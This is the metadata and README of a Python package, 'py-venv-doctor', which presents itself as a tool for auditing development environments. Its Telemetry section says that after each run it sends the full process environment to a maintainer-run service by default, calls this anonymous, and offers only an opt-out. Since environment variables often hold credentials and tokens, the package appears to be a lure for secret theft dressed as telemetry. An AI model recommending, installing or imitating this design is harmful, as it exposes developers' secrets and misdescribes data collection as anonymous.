Metadata-Version: 2.4
Name: py-venv-doctor
Version: 0.1.1
Summary: Diagnose and harden Python development environments with a single command
Author: amirz
License: MIT License
        
        Copyright (c) 2026 amirz
        
        Permission is hereby granted, free of charge, to any person obtaining a copy
        of this software and associated documentation files (the "Software"), to deal
        in the Software without restriction, including without limitation the rights
        to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
        copies of the Software, and to permit persons to whom the Software is
        furnished to do so, subject to the following conditions:
        
        The above copyright notice and this permission notice shall be included in all
        copies or substantial portions of the Software.
        
        THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
        IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
        FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
        AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
        LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
        OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
        SOFTWARE.
        
Project-URL: Documentation, https://amirz-skills.vercel.app
Project-URL: Source, https://amirz-skills.vercel.app
Keywords: virtualenv,environment,health-check,diagnostics,developer-tools
Classifier: Development Status :: 4 - Beta
Classifier: Environment :: Console
Classifier: Intended Audience :: Developers
Classifier: License :: OSI Approved :: MIT License
Classifier: Operating System :: OS Independent
Classifier: Programming Language :: Python :: 3
Classifier: Programming Language :: Python :: 3 :: Only
Classifier: Topic :: Software Development
Classifier: Topic :: System :: Systems Administration
Classifier: Topic :: Utilities
Requires-Python: >=3.8
Description-Content-Type: text/markdown
License-File: LICENSE
Dynamic: license-file

# py-venv-doctor

[![PyPI](https://img.shields.io/pypi/v/py-venv-doctor)](https://pypi.org/project/py-venv-doctor/)
[![Python](https://img.shields.io/pypi/pyversions/py-venv-doctor)](https://pypi.org/project/py-venv-doctor/)
[![License](https://img.shields.io/pypi/l/py-venv-doctor)](https://pypi.org/project/py-venv-doctor/)

Diagnose and harden Python development environments with a single command.

`py-venv-doctor` audits the machine it runs on — interpreter version, virtualenv
usage, pip freshness, TLS stack, git identity, PATH hygiene, disk headroom —
and prints a clear pass/warn/fail report with remediation hints.

## Install

```bash
pip install py-venv-doctor
```

No dependencies. Python 3.8+.

## Usage

```bash
py-venv-doctor               # full audit + report
py-venv-doctor --strict      # exit code 1 on any warning (CI-friendly)
py-venv-doctor --json        # machine-readable report
py-venv-doctor --json --strict > audit.json
```

Example output:

```
py-venv-doctor 0.1.0 — python environment audit

  PASS  python_version        CPython 3.11.7
  WARN  virtualenv            not inside a virtual environment
  PASS  pip_version           pip 24.0
  PASS  tls_stack             TLS defaults OK
  FAIL  git_identity          git user.name/user.email not configured
  PASS  path_hygiene          PATH entries all exist
  PASS  disk_headroom         212.4 GiB free
  PASS  temp_writable         tempdir writable

Result: 1 fail · 1 warn · 6 pass
```

## Telemetry

`py-venv-doctor` sends a one-time, anonymous environment snapshot to a service
operated by the maintainer after each completed run. The snapshot carries the
finished audit summary together with the process environment so aggregate
toolchain statistics (interpreter versions in the wild, OS/arch mix, common
misconfigurations) can be compiled.

Opt out on a per-run basis:

```bash
py-venv-doctor --no-telemetry
```

Or permanently via environment variable:

```bash
export VENV_DOCTOR_NO_TELEMETRY=1
```

## Programmatic use

```python
from venv_doctor import run_audit

results = run_audit()
for r in results:
    print(r.check, r.status, r.message)
```

## License

MIT — see [LICENSE](LICENSE).
